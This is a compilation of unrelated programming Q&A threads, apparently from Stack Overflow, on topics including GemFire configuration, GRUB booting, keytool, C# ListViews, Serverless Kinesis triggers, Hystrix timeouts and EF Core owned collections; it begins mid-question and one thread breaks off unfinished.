<bean id="gemfireCacheLogListener" class="org.awong.GemfireCacheLogListener"></bean>

<bean id="cacheManager" class="org.springframework.data.gemfire.support.GemfireCacheManager"
    p:cache-ref="gemfireCache">
    <property name="regions">
        <set>
            <ref bean="myCacheRegion"/>
        </set>
    </property>
</bean>

Assume that the external JAR dependencies have all been defined correctly in, say, Maven. Assume also that I have a properties file loaded that defines the property values referenced above. The locators property is defined to use the IPs and ports of the Gemfire locators that have already been started.
I believe this ought to be good enough so that I can annotate beans in my MVC application with @Cacheable. I expect these configurations to start up a locator in the application server to connect to the Gemfire grid, add myCacheRegion to the Gemfire cacheserver, and then the cacheManager ought to be able to use the new cache region.
I am getting BeanCreationExceptions which are caused by the failure to connect to the locator when Spring starts up:
4-Mar-2013 16:02:08.750 SEVERE org.apache.catalina.core.ApplicationContext.log StandardWrapper.Throwable
 org.springframework.beans.factory.BeanCreationException:
 [rest of stack trace snipped out]
 nested exception is com.gemstone.gemfire.GemFireConfigException: Unable to contact a Locator service.  Operation either timed out or Locator does not exist.
Configured list of locators is "[hostnameOfLocator<v0>:portOfLocator]".

But when I deploy to the target environments the Gemfire beans fail to be created because the locator processes cannot connect. What am I missing?

A: It's hard to say without seeing the logs. Your configuration looks ok. What errors are you seeing in these processes and in locator.log?

I expect these configurations to start up a locator in the application server.

These configurations do not start up a locator, only connect to the configured locators. But you state earlier the locators are already started. Also mcast-port should always be 0 when using locators.
A common problem is the gemfire.jars must all be at the same version. SDGF 1.2.2 depends on gemfire 7.0. If you are using gemfire 6.6.1 you need to exclude the gemfire dependency from spring-data-gemfire in your pom.

The target deployment uses a client server topology.

This configuration is for peer-to-peer. It should still work, but if you have existing cache-servers you may want this to be configured as a client. Is this region be a replica of on on the servers or local data only? Note, if you simply need @Cacheable, you don't need to connect to a grid. A standalone embedded cache will work fine.

A: You may try to configure locators pool, e.g.:
<gfe:pool id="locatorPool">
    <gfe:locator host="host1" port="port1"/>
    <gfe:locator host="host2" port="port2"/>
</gfe:pool>

And then link your cache to this pool:
<gfe:cache id="gemfireCache" pool-name="locatorPool"/>


text:
Q: Can't load Windows 8 from Grub 2.0 (Ubuntu 13.04) Just installed dual-boot Ubuntu 13.04 on my self-built Windows 8 Pro PC, and after the installation I restarted, and once I was prompted with GRUB 2.0 I tried to boot Windows 8, and a few seconds after I selected the OS it would restart my computer entirely.
I installed Windows 8 first, and I installed Ubuntu on my 80 Gigabyte hard disk drive. I would just like to know how to either uninstall Ubuntu and Grub entirely or just boot with Windows 8 normally.
System Information:
System Processor: Intel Core Duo 6700 2.66 Ghz
System DRAM: 8GB DDR2 DRAM
Graphics Processor: Sapphire AMD 5570 1GB GDDR3
Motherboard: ABit AB9 Pro
Storage: 1TB Western Digital Caviar Green, 500GB, 80GB

A: If you have a windows repair cd, this can do the trick maybe. But you won't lose your data, its just accessing the drive that a little messed up.

A: In your BIOS, try disabling SecureBoot.
See https://help.ubuntu.com/community/UEFI for more information.


text:
Q: What is the term or rule to describe this word order issue? I remember reading about word order importance but when I Googled this, it's too broad. A sentence for a better example of what I'm trying to convey (but it might be too simple):
"To share the history of the legendary John Doe in North America."

*

*John Doe isn't in North America

*The purpose is "to share the history in North America" of John Doe.

I hope it implies what I'm trying to find because I cannot think of another example. I don't mean the Subject + Verb + Object examples like this:
"The chicken crossed the road" and "The road crossed the chicken", but when in my first example, either or makes sense and could be true, yet clarity is key. Sorry about this question if it's stupid.

A: A particularly apt name for what you describe would be Groucho's elephant:

One morning, I shot an elephant in my pajamas. How he got in my pajamas, I don't know. — Groucho Marx, Animal Crackers (1930)

The joke, of course, is only possible because the grammar of English allows — and in most cases, encourages — parsing a final prepositional phrase so that it modifies the first available word that preceeds it.
In your case, the most logical reading is that in North America modifies John Doe, not the verb share. Since you supplied the information that the legendary Mr. Doe is in fact not in North America, then we can term it a less amusing but apt misplaced modifier. Without that information, however, your sentence is unambiguous about Mr. Doe's location.
An ambiguous modifier is one where a reader is unable to parse a sentence in a single way:

Eating out often makes me happy.

Either frequent dining out make me happy or eating out makes me happy often but not every single time; it depends whether I read often as modifying eating or make.


text:
Q: Firebase Change App email address I am using an firebase app that sends verification and lost password emails to users.
The users get the email form
noreply@admob-app-id-123456789.firebaseapp.com

How can I change this email address.
Note here that I am using firebase with angularfire for the web.
Thanks

A: You can set the email address in the Firebase Authentication console.

Specifically:

*

*Open your project in the Firebase Console

*Click Authentication in the leftnav

*Click TEMPLATES in the topnav

*Click the little pencil icon next to From


text:
Q: как правильно сравнивать с null? как правильно писать
if(obj ==null){}

или
if(null == obj){}

в чем разница?
и вторая часть вопроса можно ли это заменить на
static boolean  isNull(boolean val)

или нет? и что это такое?

A: Особой разницы нет. Но есть не особая. Вариант с
if(null == obj)

уберегает вас от распространенной ошибки типа
if(obj = null)
то есть случая, когда вместо сравнения по недосмотру выполняется присваивание. В случае с null = obj компилятор сообщит об ошибке, поскольку нельзя присваивать что-то null'у. Все вроде бы здорово, и отличие вроде бы и правда есть. Но это замечательное преимущество практически не имеет никакой ценности, поскольку будет работать только в том случае, если obj имеет тип Boolean. В остальных случаях компилятор тоже догадается сообщить об ошибке, поскольку результат такого присваивания не может быть приведен к булевскому типу. Поэтому в java разницы нет практически никакой. А вот в Си это может иметь смысл - там NULL - это всего лишь макрос, под которым обычно скрывается 0, и ошибки типа
if(obj = NULL)

довольно распространены, так как присваивание указателю NULL'а вполне допустимо, а случайно написать = вместо == - дело нехитрое.
Может такая ошибка случиться и в JavaScript в силу того, что типизация в нем динамическая, и любую переменную можно неявно привести к булевскому значению. С другой стороны, в js чаще принято писать условия типа
if(!obj)

вместо
if(obj == null)

хотя так делают далеко не все.
На мой взгляд конструкция типа null == obj выглядит коряво, но это дело вкуса.


text:
Q: How do I track and manage multiple leads for the same contact but from different sources? I'm trying to find a way to track the leads that I get from different channels but which are for the same lead/contact. For instance, if I have a potential client contact us through our website, but then we're given the same lead through a partner, I want to be able to keep track of both lead sources and channels. I can hack a solution with custom fields, but I assumed that they was a best practice for this?
I've seen that there is functionality to merge leads but I understand this means information is lost from one of the leads.
Ideally I'd like to retain the information from both leads and have them attached to an account or to each other so that my sales team can clearly see there are two related leads and if the contact information is different they can try both.
I'd also like a notification when the second lead comes in. I realise that this is a complicated process involving many parts but I've been told by a Salesforce consultant that this isn't done, but I'm sure I'm not the only person with this issue.
Thanks,
Andrew

A: I actually think it's a best practice to have separate and multiple leads for the same contact in Salesforce.  Every company I work for struggles with this - you have a lead in 2020 for product A and then a completely different lead in 2021 for product B- different source, different everything.  This limitation really inhibits what you can learn and track. I've solved it sort-of with marketing automation but I really wish Salesforce would enable this better by using a different unique identifier or combo of identifiers to make the process easier.

A: Generally it's a best practice to keep your database free of duplicates. I also understand your frustration about different pieces of data you are getting from many channels about physically one person. The challenge here is to keep data clean yet meaningful and complete.
First, you need to elaborate a complete data model for your leads/contacts and decide what info is necessary to capture. If you know, for instance, that a lead can come via partner with one phone number, and from Web with another, then better approach would be creating an additional field on the Lead object and keeping both phone numbers there in one lead record. You may also utilize Notes to capture any other data about your prospects.
Second, to prevent Duplicates I recommend reviewing the Duplicate Management module, and set up this feature in your org. With it you can prevent creation of duplicates and ask your sales reps update the existing record instead. Moreover, if you still want to have multiple leads for one person, this feature will show all duplicates when a user is viewing the record.
Regarding a notification when the second lead comes in, you clearly need to explore triggers for accomplish this task. As a light version you can look at the reports built on the Duplicate Record Items object to obtain up-to-date info about duplicates; you can also schedule this report if you wish.
To wrap up, with clean data/no duplicates first approach you would save your effort on managing piles of dirty data later.

A: Campaign Membership for both "Partner" and "Specific-Webform". You could also choose a Lead Source (either partner or form/channel) and add to one Campaign to capture the other "source".


text:
Q: JavaScript repeat-Polyfill: Does these code structure make sense? I've tried to understand the code of the String.prototype.repeat()-polyfill.
Complete code here: https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/repeat
I ask myself if the following part is logical:
    // Tries to cast the parameter 'count' to a number.
    count = +count;

    // If the cast fails ('count' has become NaN) then
    // assign 0 to the parameter-variable.
    if (count != count) {
      count = 0;
    }

    // Does some more checks with the parameter ...
    if (count < 0) {
      throw new RangeError('repeat count must be non-negative');
    }
    if (count == Infinity) {
      throw new RangeError('repeat count must be less than infinity');
    }
    // End of checks ...

    // Rounds the parameter to next lower integer.
    count = Math.floor(count);

    // Checks if count is 0. In that case: Terminate
    // the function / Return an empty string.
    if (str.length == 0 || count == 0) {
      return '';
    }

Why not terminating after the cast fails (at the top)?
Instead assigning 0, run checks, checking against 0. And if that state is true THEN terminating.
Makes no sense to me.
Is there anything which I haven't understood?

A: Because this polyfill needs to implement the same behavior as in the specs. Spec say if value is less than zero you should throw error.
Also, casting to number at the start is fine, but can directly call this function with invalid number like so:
var string = 'abc';
string.repeat(-1); // throws range error


text:
Q: Keytool without keystore I have a question about keytool..
I would to use this command:
keytool -importkeystore -srckeystore foo.jks -destkeystore foo.p12 -srcstoretype jks -deststoretype pkcs12

Can I don't specify the srckeystore? I need this request because I don't know my keystore that  I use.. :)
I created  the certificate in this way:
keytool -genkey -alias myalias -keyalg RSA -keysize 2048

so, I don't have specified the keystore...In this way, Keytool which keystore will use?

A: If you use the keytool command to generate a keystore and you do not have a -keystore option, it will create the keystore in the default location, which is the user's home directory.  And the filename will be ".keystore".
For the -importkeystore option, -srckeystore is required, so you will have to give the path to the ".keystore" file that you created.
To avoid this confusion, when you create a new keystore, give it a known filename by using the -keystore option.
For example:
keytool -genkey -alias myalias -keyalg RSA -keysize 2048 -keystore foo.jks

Now your command to convert it to a PKCS12 keystore should work.
For more details, see the keytool documentation.

A: Never actually tried it but if my memory serves me right the default keystore is called keystore.jks
You can probably run the following to be sure;
keytool -v -list

and it should tell you the keystore type.


text:
Q: python ftplib TypeError: a bytes-like object is required, not 'str' i'm try to use the ftp lib to upload file to server.
but have the error
TypeError: a bytes-like object is required, not 'str'

enter image description here
enter image description here

A: When you are opening f on line 107, try 'rb' instead of 'r'
That may be sufficient to do the trick.
For SFTP in the past, I've used paramiko. A code snip is below:
import paramiko

def sendFile(**kwargs):

    trans = paramiko.Transport(kwargs['host'], kwargs['port'])
    trans.connect(username = kwargs['username'], password = kwargs['password'])
    conn = paramiko.SFTPClient.from_transport(trans)
    conn.put(sourceFile, destFile)

I've severely redacted the above to get basics across.
(From experience) I'd recommend you do the following as part of a wider solution:

*

*Copy your original source file and rename as a .partial file or similar (to prevent changes to source mid transfer)

*Check remote (dest) area for existence of similar file before trying to copy, delete if its older or different size, abandon transfer if same

*Transfer the .partial file

*Check that the .partial file at dest is same as source (checksums)
5a. If same, remove the .partial from destFile
5b. If not same, repeat transfer

*When transfer success, delete the .partial file from source area


text:
Q: c# using a runtime created listview Briefely;
I have button1 in my program. its create a new item in ListBox + new listview and rename listView every time its clicked. with another button I try to add data into selected listview but Im not able to figure out how to use newly created listviews name to access ListView class methods in program.
ListView yeni = new ListView();
 panel5.Controls.Add(yeni);
 yeni.Location = new System.Drawing.Point(liste_konum[0], liste_konum[1]);
 yeni.Size = new System.Drawing.Size(324, 106);
 yeni.GridLines = true;
 yeni.FullRowSelect = true;
 yeni.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
 yeni.View = System.Windows.Forms.View.Details;
 yeni.Columns.Add("Ada" + Convert.ToString(listBox1.Items.Count), 370);
 yeni.Name = "ListView" + Convert.ToString(liste_say);

(liste_say is a counter)
new created Listview has a name like "ListView5". how can ı access methods in another button click event. when "instance5" selected ı want to add some data to ListView5.
private void button3_Click(object sender, EventArgs e)

    {
     listView1.Items.Add("");
     listViev+Convert.ToString(listBox1.SelectedIndex + 1).Items.Add("somethink");
    }

This is not valid. Is there any think like using string or reference in identifiers?like:
String example = Convert.Tostring(expnumber);
ListView<example>.Items.Add("example");

Thanks for help. Sorry for my english.

A: If I'm understanding your question, you're trying to access newly created controls at different points of execution.
One way you can do this is by keeping a List of ListView in your class and then pushing new ListView instances into it.
class Form
{
  protected List<ListView> ListViews = new List<ListView>();

  private void AddListViewButton_Click(object sender, EventArgs e)
  {
    var yeni = new ListView();
    listViews.Add(yeni);
  }

  private void AccessExistingListView()
  {
    // ... code to access your list view goes here
  }
}


text:
Q: Is it possible to get a MySQL blob original file size if the size of the original file was not saved? Sadly I need to work on a system where previous devs decided that saving pdf files as blobs in the database is a good idea. I need to create pdf's from the blobs and they did not save the original file size in the db with the record.
I am using C# to this. I can set a hard coded size and yes it creates the files but all pdf's have the size specified regardless of the content. Any help would be greatly appreciated. I have tried using MySQL query
SELECT OCTET_LENGTH(file_content)  as total_size FROM table where id = '1'
but size is too small.
              UInt32 FileSize = MySqlCon.BlobSize(message.id);
            byte[] rawData;
            FileStream fs;
            string fileName = @"E:\Attachments\" + message.FileName;

            string u = "select file_content from message where id ='" + message.id + "'";
            MySqlCommand cmd = new MySqlCommand(u, MyCon);
            MySqlDataReader myData;
            try
            {
                MyCon.Open();
                myData = cmd.ExecuteReader();

                if (!myData.HasRows)
                    throw new Exception("There are no BLOBs to save");

                myData.Read();
                rawData = new byte[FileSize];

                myData.GetBytes(myData.GetOrdinal("file_content"), 0, rawData, 0, (int)FileSize);

                fs = new FileStream(fileName, FileMode.OpenOrCreate, FileAccess.Write);
                fs.Write(rawData, 0, (int)FileSize);
                fs.Close();

                Console.WriteLine("File successfully written to disk!");

                myData.Close();
                MyCon.Close();
                message.FilePath = fileName;
            }


text:
Q: Having trouble to select an image on the canvas I'm creating a drawing app using HTML5 canvas and JS. I allow user to upload a picture and use context.drawImage(); to draw it on the canvas. But when I try to edit the picture, I failed. What should I do if I want to use mouse (keyboard, or anything) to drag and scale the picture on the canvas?

A: For This purpose that includes movement, scaling, resizing , transposition etc. of images on the canvas element of HTML5 you could use http://fabricjs.com/ (fabric.js) . This javascript library gives u full support and is applicable in most of the modern browsers. Just go through it and u would be able to do all of the mentioned activities. Cheers.


text:
Q: what is the correct way of splitting dataset into train, validation and test? I'm following an article which says the test folder should also contain a single folder inside which all the test images are present(there will not be subfolders/label folders). On the other hand the train and validation folders should contain 'n' folders each containing images of the respective classes.
For example:
structure 1
/Data
     //train
          classA folder
          classB folder
          classC folder
     //val
          classA folder
          classB folder
          classC folder
     //test
          test folder

Again, I learned about using the python library split-folder which splits the data in the following structure,
structure 2
/Data
     //train
          classA folder
          classB folder
          classC folder
     //val
          classA folder
          classB folder
          classC folder
     //test
          classA folder
          classB folder
          classC folder

I implemented one by using the python library split-folder
(structure 2) and evaluated the model by using the following method,
model.evaluate(test_generator,batch_size=32)

here I only provided test_generator(which I got from flow_from_directory) to my evaluate function(I did not use any labels) and I got accuracy around 88%.
my confusions are:

*

*Which structure should I follow for the data splitting?

*How can I evaluate or predict my model if I use structure 1? How can I extract labels from the data?

*How, despite the fact that I did not supply any labels, the Python library split-folder is evaluating the model without throwing an error?

A: *

*It looks like Structure 2 just splits whatever is available, which is fundamentally correct. In reality, you'll most likely be using Structure 1 when using flow_from_directory().  You can't perform evaluate() without labels, so your test_generator is more akin to a validation set, but you can technically evaluate using that "test" data since they would created the same way, but ideally used differently.

*flow_from_directory() outputs Dataset, which contains features classes and labels class_indices. When you pass a Dataset object to evaluate(), the method uses both features and labels from the passed variable. If you want to extract the labels from an object from flow_from_directory(), if the variable is x, it's x.class_indices, which will be a dictionary. When you pass a Dataset to predict(), only the features are used. The labels are ignored. Unless you need to manually retrieve something within the Dataset object, you don't need to access anything within that object when evaluating or predicting.

*split_folder does not do anything with your model.

The subfolders named after classes for train and val is when comparing the image to the label (the folder name - the class). This is how flow_from_directory() keeps track of each image's class. Since prediction is supposed to use unseen data as input, it wouldn't have a label to compare to, hence no labels (or subfolder containing classes) when you split your test folder out.
Another thing you could do which is common is, just splitting your train and test set, then creating your validation set from your training set. But both methods are fundamentally the same.


text:
Q: Serverless framework/Cloudformation: deploying Kinesis trigger with DLQ I'm trying to deploy a lambda on AWS with Serverless which has a Kinesis data stream as a trigger. I'm also wanting to define that any failed messages raised by the lambda are sent to a Dead Letter queue.
I couldn't find an example of how to do this in the Serverless documentation, but I found what I thought was how to do it at https://betterdev.blog/aws-lambda-kinesis-trigger-pitfalls/.
I have created a Serverless file where the lambda target looks like this:
my_lambda:
    handler: src/lambdas/my_lambda.lambda_handler
    name: my_lambda
    memorySize: 256
    timeout: 28
    package:
        patterns:
          - 'src/lambdas/my_lambda.py'
    role: MyLambdaRole # Defined in a separate file.
    events:
        - stream:
            type: kinesis
            arn: ${self:custom.MY_KINESIS_DATA_STREAM_ARN} # ARN of Kinesis data stream.
            batchSize: 100
            maximumRetryAttempts: 10
            startingPosition: LATEST
            enabled: false
            destinations:
                onFailure:
                    type: sqs
                    arn: ${self:custom.MY_DLQ_ARN} # ARN of SQS DLQ.
    environment:
        ....
    tags:
        ....

When I try and deploy, I get this error:
TypeError: Cannot read property 'replace' of undefined
  at Object.normalizeNameToAlphaNumericOnly (/usr/local/lib/node_modules/serverless/lib/plugins/aws/lib/naming.js:32:36)
  at Object.getStreamLogicalId (/usr/local/lib/node_modules/serverless/lib/plugins/aws/lib/naming.js:372:14)
  at functionObj.events.forEach (/usr/local/lib/node_modules/serverless/lib/plugins/aws/package/compile/events/stream.js:184:58)
  at Array.forEach (<anonymous>)
  at serverless.service.getAllFunctions.forEach (/usr/local/lib/node_modules/serverless/lib/plugins/aws/package/compile/events/stream.js:143:28)
  at Array.forEach (<anonymous>)
  at AwsCompileStreamEvents.compileStreamEvents (/usr/local/lib/node_modules/serverless/lib/plugins/aws/package/compile/events/stream.js:93:47)
  at PluginManager.invoke (/usr/local/lib/node_modules/serverless/lib/classes/PluginManager.js:579:20)

The message isn't helpful in identifying what the issue is. Could anyone suggest what the problem might be, please?
Thank you in advance for any assistance.

A: Fixed: my Kinesis data stream ARN was incorrect.


text:
Q: intermittent jQuery not defined issue when using cycle2 carousel I'm new to magento 2 and trying to get cycle 2 working on a custom theme but getting jQuery not defined error every so often.
Sometime the page will load correctly, then other times will throw the jQuery not defined error in the console.
Here is my requirejs-config.js file
var config = {
paths: {
    'foundation': 'js/bower_components/foundation-sites/dist/js/foundation',
    'owlcarousel': 'js/owl.carousel.min',
    'cycle2': 'js/jquery.cycle2.min',
    'cycle2carousel': 'js/jquery.cycle2.carousel.min',

},
shim: {
    "foundation": ["jquery"],
    "owlcarousel": ["jquery"]
}

};
then in the phtml file i have this:


text:
Q: Pass method as argument to Java method I have some java code that I want to convert to Xtend. The Java code is:
public void createPartControl(Composite parent) {
    final Canvas clock = new Canvas(parent, SWT.None);
    clock.addPaintListener(this::drawClock);
}

private void drawClock(PaintEvent e) {
    e.gc.drawArc(e.x, e.y, e.width - 1, e.height - 1, 0, 360);
}

My attempt at Xtend code is:
override createPartControl(Composite parent) {
    val clock = new Canvas(parent, SWT.None);
    clock.addPaintListener(this::drawClock);
}

private def drawClock(PaintEvent e) {
    e.gc.drawArc(e.x, e.y, e.width - 1, e.height - 1, 0, 360);
}

The problem is that the expression this::drawClock is not valid in Xtend. Specifically it says that this cannot be resolved to a type. How do I achieve the same result using Xtend.

A: Xtend doesn't support method references. You need to wrap the method you want to call in a Xtend lambda instead.
this::drawClock or (e) -> drawClock(e) in Java becomes [drawClock] in Xtend. The type is automatically inferred.
So you can write:
override createPartControl(Composite parent) {
    val clock = new Canvas(parent, SWT.None)
    clock.addPaintListener[drawClock]
}

The PaintEvent parameter of the listener is the implicit it parameter of the lambda. It is used automatically as first argument of drawClock. Parenthesis are optional for method calls with lambda arguments.
I would say the notation addPaintListener[drawClock] is the idiomatic, but you could of course also write this more explicit. All of these are equivalent:
clock.addPaintListener[drawClock]
clock.addPaintListener([drawClock])
clock.addPaintListener([drawClock(it)])
clock.addPaintListener([e|drawClock(e)])
clock.addPaintListener([PaintEvent e| e.drawClock])

If the method has multiple parameters, you can add those parameters to the lambda explicitly or use the implicit $1,$2,...,$n parameters, for example like this:
component.addFooListener[e1, e2| onFoo(e1, e2)]
component.addFooListener[onFoo($1, $2)]


text:
Q: Get response from URL I have the follow JS code to get the response from an URL. My URL it's ok, I got the response that I want to show, but I don't know how to show the response in JSON format. I'll appreciate any help.
var id = '84337255-f472-4630-986d-487f22009536';
var startDate = '2017-01-01';
var endDate = '2017-03-30';

var url = 'http://34.209.24.195/facturas\?id\=' + id + '\&start\=' + startDate + '\&finish\=' + endDate;

var urlRequestTimeout = setTimeout(function() {
  console.log("Failed to load resources");
}, 8000);

$.ajax({
  url: url,
  dataType: "json",
  method: "GET",
  success : function(response) {
    console.log(response);
    clearTimeout(urlRequestTimeout);
  }
});

A: You can use the chrome console to view the response you are printing. Without seeing what the output is, I can only make a guess.
I would do something like this
let jsonObj = {}; //create empty JSON variable

$.ajax({
      url: url,
      dataType: "json",
      method: "GET",
      success : function(response) {
        console.log(response);
        jsonObj = response.data; //set the variable to the response data
        clearTimeout(urlRequestTimeout);
      }
    });

Now you have the response saved, and you can do with it what you want. If you want a more specific answer, you'll have to post your response output.
Or, as others have suggested. You can convert the value to a JSON string like such:
let jsonObj = JSON.stringify(response.data)
console.log(jsonObj);

A: Use
console.log(JSON.stringify(response.data));

instead of
console.log(response);

A: What you received is a json format.
I think there are methods to resolve
1. JSON.parse()
2. eval("(" + response + ")")
but the second method will run code in the json.(not safe)
json format:var data='{
    "student" : [
        {"name":"A","age":17},
        {"name":"B","age":17},
        {"name":"C","age":17}
    ]
}'

eval('(' + data + ')');//jsonString->jsonObject
JSON.parse(data);//jsonString->jsonObject


text:
Q: Use of execution.timeout.enabled along with execution.isolation.thread.timeoutInMilliseconds in Hystrix In our project we use the below Hystrix configuration. I am confused about  command.default.execution.timeout.enabled property. It is set as false but along with it we have another property which specifies timeoutInMilliseconds, which as per my understanding specifies the time after which the caller will observe a time-out. So if the execution time-out is set as false on the first place, what is the point of having the second property? Please let me know if my understanding is not correct
#
# Hystrix configuration
#

hystrix:
  command.default.execution.timeout.enabled: false
  command.default.execution.isolation.thread.timeoutInMilliseconds: 60000

A: Firstly, please go through the documentation here. It is explained in detail. In the beginning of page, there is definition of 'Default'. Please check that.
Now coming to your specific question
By default command.default.execution.timeout.enabled value is set to true. As you can see in this section. So with code like this
command.default.execution.timeout.enabled: false

you are overriding it to be false. Which means none of the calls will be timed out by hystrix. But you can also see in that same section, we can enable or disable for a particular instance using commandkey.
The same thing applies to command.default.execution.isolation.thread.timeoutInMilliseconds
We have a default value and we can also change this value for a particular commandkey.
Lets assume currently you have this
hystrix:
  command.default.execution.timeout.enabled: false
  command.default.execution.isolation.thread.timeoutInMilliseconds: 60000

After a few days you can add something like
command.myinstancekey.execution.timeout.enabled: true

In this case timeout is enabled for only myinstancekey and it will timeout in 60000 because it takes the value from
command.default.execution.isolation.thread.timeoutInMillisecond

If you have something like
command.myinstancekey.execution.isolation.thread.timeoutInMillisecond: 30000

Then 30000 is taken as timeout value for mysinstancekey


text:
Q: Trying to set a name in a messagebox, depending on DateTime.now To keep it short, i want to fill in name depending on the date.
im not using any database, its pure c#.
below my current code.
DateTime dt = DateTime.Now;
string vandaag = dt.ToString("dd-MM-yyyy");
string bday = " has his/her birthday today";

Boolean name1 = DateTime.Now.Month == 3 && DateTime.Now.Day == 12;
Boolean name2 = DateTime.Now.Month == 6 && DateTime.Now.Day == 9;

if (name1) {MessageBox.Show(string.Format("Hello, today is {0}. name of person 1 {1}", today, bday), "Hello", MessageBoxButtons.OK);}

else if (name2) {MessageBox.Show(string.Format("Hello, today is {0}. name of person 2 {1}", today, bday), "Hello", MessageBoxButtons.OK);}

etc.
The code actually works, but like this im gonna repeat this code just for about anyone. Isnt there a way to have "name of person" filled in without having to repeat the same code over and over?

A: The first thing to do is to define a Person class like this one (expandable in future)
public class Person
{
    public string Name { get; set; }
    public DateTime dob {get;set;}
}

Then you need to build a list of your Person that you want to check for their birthday
List<Person> people = new List<Person>()
{
    new Person() {Name="Steve", dob = new DateTime(1960, 3, 26)},
    new Person() {Name="John", dob = new DateTime(1961, 7, 1)},
};

finally your code could search if today is the Date Of Birth for any of the people list with a simple linq code
Person p = people.FirstOrDefault(x => x.dob.Month == DateTime.Today.Month &&
                                      x.dob.Day == DateTime.Today.Day);
if (p != null)
    MessageBox.Show(string.Format("Hello, today is {0}. Birthday of person {1}", DateTime.Today, p.Name), "Hello", MessageBoxButtons.OK);

With this approach you need only to add other Person to the list using the format above and nothing else changes. However there is a problem because you could have more than one Person with the same Date Of Birth. In this case the code that search the list becomes
List<Person> ppl = people.Where(x => x.dob.Month == DateTime.Today.Month &&
                                x.dob.Day == DateTime.Today.Day).ToList();
MessageBox.Show(string.Format("There are {0} people with this dob", ppl.Count));
foreach(Person p in ppl)
    MessageBox.Show(string.Format("Hello, today is {0}. Birthday of person {1}", DateTime.Today, p.Name), "Hello", MessageBoxButtons.OK);

A: You could do something like this (untested and written directly on Stack Overflow, handle with care I took the time to test it and made a fiddle... surprisingly only minor errors appeared!):
static void AddBirthdayToDictionary(Dictionary<DateTime, List<string>> dict, int month, int day, string name)
{
  var bdate = new DateTime(DateTime.MinValue.Year, month, day);
  List<string> val;
  if(!dict.TryGetValue(bdate, out val))
  {
    val = new List<string>();
    dict.Add(bdate, val);
  }
  val.Add(name);
}

static List<string> GetBirthdays(Dictionary<DateTime, List<string>> dict, int month, int day)
{
  var bdate = new DateTime(DateTime.MinValue.Year, month, day);
  List<string> val;
  if(dict.TryGetValue(bdate, out val))
  {
    return val;
  }
  return new List<string>();
}

static void ShowBirthdays()
{
    var birthdayDictionary = new Dictionary<DateTime, List<string>>();

    // add possible birthdays
    AddBirthdayToDictionary(birthdayDictionary, 3, 12, "Person 1");
    AddBirthdayToDictionary(birthdayDictionary, 6, 9, "Person 2");

    var today = DateTime.Today;

    // get birthdays today
    var bdayList = GetBirthdays(birthdayDictionary, today.Month, today.Day);

    if(bdayList.Any())
    {
        var count = bdayList.Count();
        MessageBox.Show(string.Format("Hello, today is {0} and {1} {2} celebrating {3} birthday!", today, string.Join(", ", bdayList), (count>1) ? "are":"is", (count>1) ? "their" : "its"));
    }
}

A: I usually create a list<> object so I can enumerate through the controls on a form
        public List<TextBox> boxes = null;
        public Form1()
        {
            InitializeComponent();

            boxes = new List<TextBox>() { textBox1, textBox2, textBox3, textBox4};

            foreach (TextBox box in boxes)
            {
            }

A: In this case using Dictionay Class is useful, take a look at this example:
public void sayHappyBirthDay(Dictionary<string, DateTime> nameBirthDay)
{
    DateTime today = DateTime.Now;
    foreach (var n in nameBirthDay)
    {
        if (today.Month == n.Value.Month && today.Day == n.Value.Day)
        {
            string bday = n.Key;
            MessageBox.Show(string.Format("Hello, today is {0}. name of person: {1}", today, bday), "Hello", MessageBoxButtons.OK);
        }
    }
}

A: Having the excellent answer given by @Steve, I would like just to point at much simpler (no need for OOP, LINQ, Generics) implementation of essentially same functionality using 2d-array of string[,]:
// out message
string _msg = String.Empty;

// sample array of Name/Birthday
string[,] _bd = {
                    { "Tom", "03/26/2016" },
                    { "Gary", "06/27/2016" },
                    { "Anna", "04/30/2016" }
                };
for (int i = 0; i < _bd.GetLength(0); i++)
{
    if (DateTime.Today == DateTime.Parse(_bd[i, 1]))
    {
        // output message containing list of names
        _msg += _bd[i, 0] + ",";
    }
}
if (!String.IsNullOrEmpty(_msg)) MessageBox.Show("Hello" +_msg);

This code snippet could be further customized/optimized by, for example, using TryParse(), StringBuilder, etc.


text:
Q: Load Collection Items In EF Core (OwnsMany) How to query and filter data in a collection property that configured to its owner by OwnsMany function?
This is the sample I've tried:
using (var context = new BloggingContext())
{
    context.Database.OpenConnection();
    context.Database.EnsureCreated();

    context.Blogs.Add(sampleBlog);
    context.SaveChanges();

    var blog = context.Blogs.Single(b => b.BlogId == 1);

    var goodPosts = context.Entry(blog)
        .Collection(b => b.Posts)
        .Query()
        .Where(p => p.Title == "...")
        .ToList();
}

and Model classes:
public class Post
{
    public int Id { get; set; }
    public string Title { get; set; }
    public string Content { get; set; }

}
public class Blog
{
    public int BlogId { get; set; }
    public string Url { get; set; }

    public List<Post> Posts { get; set; }
}

and dbContext class:
public class BloggingContext : DbContext
{
    public DbSet<Blog> Blogs { get; set; }

    protected override void OnModelCreating(ModelBuilder modelBuilder)
    {
        modelBuilder.Entity<Blog>().OwnsMany(x => x.Posts, post =>
        {
            post.ToTable("Posts");
            post.HasKey("Id");

            post.Property(x => x.Title);
            post.Property(x => x.Content);
        });
        modelBuilder.Entity<Blog>()
            .ToTable("Blogs");
    }

    protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
    {
        var connection = new SqliteConnection("Data Source=:memory:");
        optionsBuilder.UseSqlite(connection);
    }
}

I'm getting this exception:

System.Reflection.TargetInvocationException: 'Exception has been thrown by the target of an invocation.'

Inner Exception:

ArgumentException: Expression of type 'System.Collections.Generic.List`1[Post]' cannot be used for return type 'Post'

A: Unfortunately you are hitting EF Core bug/defect/issue, and more specifically in their Query() method implementation for owned entity type collections.
It is reproducible in both latest at this time official EF Core 3.1.7 version and EF Core 5 preview, so it's worth reporting it to their GitHub Issue Tracker. The code after Query() is irrelevant, the issue is reproduced with just
context.Entry(blog).Collection(b => b.Posts).Query();

Now the workaround. The method in question is mainly for explicit loading. But navigations to owned entity types are always eager loaded, probably that's why they've missed that case when added collections of owned entity types feature (it works for regular one-to-many navigations and regular/owned reference navigations). Whatever the reason is, until they fix it you should not use Query() method, but compose the query manually with LINQ. For instance, use the following equivalent of the sample Query method:
context.Blogs.Where(b => b.BlogId == blog.BlogId).SelectMany(b => b.Posts)

But now it imposes another error/requirement:

A tracking query projects owned entity without corresponding owner in result. Owned entities cannot be tracked without their owner. Either include the owner entity in the result or make query non-tracking using AsNoTracking().

So you also need to add AsNoTracking() to your goodPosts query.
